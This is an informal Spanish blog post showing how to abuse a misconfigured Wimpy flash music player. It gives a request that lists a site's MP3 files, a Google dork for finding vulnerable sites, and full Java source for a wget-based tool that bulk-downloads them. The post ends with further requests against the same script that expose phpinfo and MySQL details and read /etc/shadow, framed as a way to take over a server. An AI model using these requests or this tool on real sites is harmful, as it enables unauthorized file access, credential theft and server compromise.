Bueno, pues hoy toca post juanker, pa uno que hago al año no os quejeis xD. Facilico y puede que útil.
Bastantes grupos de música y demás permiten escuchar canciones suyas desde su web mediante el típico reproductor flash con su botón de play, pause y demás. Puesto que son los propios grupos los que nos ofrecen las canciones en sus sites, no hacemos nada ilegal escuchándolas. Tampoco lo haríamos si nos las bajásemos directamente, pero bueno, es otro tema xD
Uno de los reproductores típicos es wimpy (30$ ¬¬). En teoría solo podemos disfrutar de las canciones cuando navegamos por su web. En teoría. En la práctica, tenemos 2 opciones:
- Jugar con los archivos temporales del navegador web. Las canciones se tienen que guardar en algún lado en nuestro ordenador no?
Basta con buscarlas, ir renombrándolas y copíandolas a donde queremos.
- Aprovecharnos de la mala configuración del propio wimpy y de que la gente copia y pega archivos sin saber ni lo que hace, y bajárnoslas directamente.
Explicación xD:
wimpy.php es el reproductor en sí. Por tanto, debe conocer en qué directorios se encuentran los archivos que va a reproducir. Si le echamos un ojo al código, vemos que, si como es de esperar, nadie ha cambiado nada, podemos conocer los archivos pasándole como parámetro la acción getstartupdirlist.
Resumiendo,
wimpy.php?action=getstartupdirlist
nos dará un “listado” en texto plano con las canciones que hay en el servidor y su ruta completa. Y digo “listado” porque no tiene el formato para que sea copiar y pegar y ya, pero se puede ver fácilmente. Ejemplico:
Vamos a la web http://www.blablabla.com/mp3/wimpy.php?action=getstartupdirlist y veremos lo siguiente:
&item0=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Facdc-whole%20lotta%20rosie.mp3|acdc-whole%20lotta%20rosie||acdc-whole%20lotta%20rosie|||||||&item1=http%3A%2F%2Fwww.blablabla.com%2Fmp3%2Falex%20godino-destination%20calabria.mp3|alex%20godino-destination%20calabria||alex%20godino-destination%20calabria|||||||
Y para bajar una canción bastaría con poner en el navegador/gestor de descargas/loquesea
http://www.blablabla.com/mp3/acdc-whole lotta rosie.mp3
¿Facilico no? Y podemos buscar canciones del grupo que queramos gracias a google, mediante la cadena:
artista inurl:wimpy.php
Por ejemplo, La Fuga: lafuga inurl:wimpy.php
Y como es un coñazo copiar&pegar&descargar, he hecho un programita que lo hace solo xD. Para usarlo basta con:
wimpy www.artista.com/dir/wimpy.php
El programa se encarga de obtener el listado, darle formato, guardar en un directorio todas las canciones de esa web. El código, de lo más tonto, en bash_sript_hecho_con_java_para_que_funcione_en_windows:
// All this software is provided under the GNU GPL and/or LGPL licenses.
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class main {
public static void main(String[] args) {
String cadena="",tmp="";
//argumentos !=1
if (args.length!=1){
System.out.println("Miniprogramica juanquer para bajar canciones de wimpy.\r\nUso: wimpy www.WEB.com/directorio/wimpy.php");
}
// argumentos correctos
else{
// dirección correcta
if (!args[0].toString().endsWith("wimpy.php")){
System.out.println("ERROR: introduzca un formato de dirección correcta");
}
// descarga del fichero
String direccion=("wget -O listado.txt " + args[0]+"?action=getstartupdirlist");
try {
Process p= Runtime.getRuntime().exec(direccion);
try {
p.waitFor();
} catch (InterruptedException e) {
System.out.println("ERROR: no se ha podido finalizar la descarga del listado de canciones");
}
} catch (IOException e1) {
System.out.println("ERROR: Asegúrse de que wget está instalado y de que se poseen permisos de escritura en el directorio");
System.exit(1);
}
BufferedReader fd =null;
try{
fd = new BufferedReader(new InputStreamReader(new FileInputStream("listado.txt")));
}
catch (Exception e) {
System.out.println("ERROR: El fichero no se ha podido leer");
System.exit(1);
}
// lectura del fichero
try {
while ((tmp = fd.readLine())!=null) {
cadena=cadena+tmp;
}
} catch (IOException e) {
System.out.println("ERROR: Fichero malformado");
System.exit(1);
}
// REGEX
String mp3="(http://.*?.mp3)";
String[] canciones = null;
String comando;
try{
canciones=cadena.split("&");
}
catch (Exception e){
System.out.println("No se encuentran canciones");
}
// separamos las canciones
System.out.println("Por favor, espere...");
int Ncanciones=0;
for (int i=0;i<canciones.length;i++){
Pattern p = Pattern.compile(mp3,Pattern.CASE_INSENSITIVE| Pattern.DOTALL);
Matcher m=p.matcher(canciones[i]);
// Descarga de las canciones
if (m.find())
{
Ncanciones+=1;
comando = "wget "+ m.group(1).toString();
try {
Process p1= Runtime.getRuntime().exec(comando);
System.out.println("Descargando archivo " + Ncanciones + " : " + comando );
p1.waitFor();
// informacion para depurar, comentar linea superior
// System.out.println(comando);
} catch (Exception e) {
System.out.println("ERROR: imposible descargar"+m.group(1).toString());
System.exit(1);
}
}
}
// finalización
if (Ncanciones==0){
System.out.println("ERROR: No se ha descargado ninguna canción, asegúrese de que la ruta indicada es correcta");
}
else {
System.out.println("FINALIZADO ==>"+ Ncanciones + " canciones descargadas con éxito ^^");
}
}
}
}
Evidentemente, se puede adaptar a lo que te de la gana, basta con cambiar las expresiones regulares y usar el gestor de descarga que queramos.
Foticos del bicho en acción:
- apuntico de empezar

- ejecutándose

- terminado

Como nota avanzada, repetir que no hay que usar cosas de otros sin saber cómo funcionan, que luego vienen las sorpresas. Por ejemplo, y sin entrar en el código, probad cosas como:
wimpy.php?action=phpinfo
wimpy.php?action=getmysql
wimpy.php?action=downloadFile&theFile=/etc/shadow
Bonita forma de adueñarnos de un servidor
Ale, ya está, ya me he distraído. Sigo estudiando xD